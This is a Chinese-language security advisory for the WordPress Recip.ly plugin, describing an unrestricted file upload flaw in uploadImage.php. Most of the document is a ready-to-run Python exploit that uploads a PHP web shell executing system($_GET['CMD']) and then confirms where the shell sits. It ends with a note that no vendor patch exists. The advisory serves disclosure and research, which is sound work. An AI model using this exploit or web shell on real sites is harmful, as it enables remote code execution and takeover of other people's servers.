受影响系统:
WordPress Recip.ly 1.x
描述:
WordPress是一款免费的论坛Blog系统。
WordPress Recip.ly在实现上存在安全漏洞,远程攻击者可利用此漏洞上传任意文件并在网络服务器进程中运行,导致未授权访问或权限提升。
wp-content/plugins/reciply/uploadImage.php没有正确地验证上传的文件类型,导致通过上传的PHP文件执行任意PHP代码。
<*来源:AutoSec Tools
*>
测试方法:
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!import socket
host = 'localhost'
path = '/wordpress'
shell_path = path + '/wp-content/plugins/reciply/images/shell.php'
port = 80
def upload_shell():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)
s.send('POST ' + path + '/wp-content/plugins/reciply/uploadImage.php HTTP/1.1\r\n'
'Host: localhost\r\n'
'Proxy-Connection: keep-alive\r\n'
'User-Agent: x\r\n'
'Content-Length: 195\r\n'
'Cache-Control: max-age=0\r\n'
'Origin: null\r\n'
'Content-Type: multipart/form-data; boundary=—-x\r\n'
'Accept: text/html\r\n'
'Accept-Encoding: gzip,deflate,sdch\r\n'
'Accept-Language: en-US,en;q=0.8\r\n'
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
'\r\n'
'——x\r\n'
'Content-Disposition: form-data; name="shell_file"; filename="shell.php"\r\n'
'Content-Type: application/octet-stream\r\n'
'\r\n'
'<?php echo \'<pre>\' + system($_GET[\'CMD\']) + \'</pre>\'; ?>\r\n'
'——x–\r\n'
'\r\n')
resp = s.recv(8192)
http_ok = 'HTTP/1.1 200 OK'
if http_ok not in resp[:len(http_ok)]:
print 'error uploading shell'
return
else: print 'shell uploaded'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)
s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\
'Host: ' + host + '\r\n\r\n')
if http_ok not in s.recv(8192)[:len(http_ok)]: print 'shell not found'
else: print 'shell located at http://' + host + shell_path
upload_shell()
建议:
厂商补丁:
WordPress
———
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
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